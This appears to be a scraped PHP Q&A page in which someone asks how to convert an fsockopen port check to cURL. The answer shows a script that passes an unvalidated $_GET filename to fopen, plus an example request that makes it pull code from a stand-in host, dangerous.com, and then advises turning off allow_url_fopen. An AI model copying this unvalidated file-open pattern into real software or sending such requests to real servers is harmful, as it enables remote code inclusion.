php - Converting fsockopen() function to use cURL -


hi have code that's being run through foreach loop:

        if($fp = @fsockopen($value['privateip'],1935,$errcode,$errstr,.5)){               $value['alive'] = 'alive';         } else {            $value['alive'] = 'down';         }          @fclose($fp); 

it pings servers @ port 1935 , changes value in array. have read php's file functions dangerous if code injection occurs better off disabled. how can change code use curl instead?

have @ code:

<?php  $filename = @$_get['filename'];  $fp = fopen($filename,'r'); $buffer = ''; while (!feof($fp)) {     $buffer .= fgets($fp,2048);     } fclose($fp);  $fp = fopen('something_very_important_data.txt','a'); fwrite($fp,$buffer); fclose($fp); 

when request, like:

http://www.yourserver.com/your_script.php?filename=http%3a%2f%2fdangerous.com%2fdangerous_code.txt 

$filename value like:

$filename = 'http://dangerous.com/dangerous_code.txt'; 

if allow_url_fopen set on, this works.
may know, dangerous.
prevent issue, set allow_url_fopen off, or filter $_get, $_post , on.


Comments

Popular posts from this blog

c# - DetailsView in ASP.Net - How to add another column on the side/add a control in each row? -

javascript - firefox memory leak -

Trying to import CSV file to a SQL Server database using asp.net and c# - can't find what I'm missing -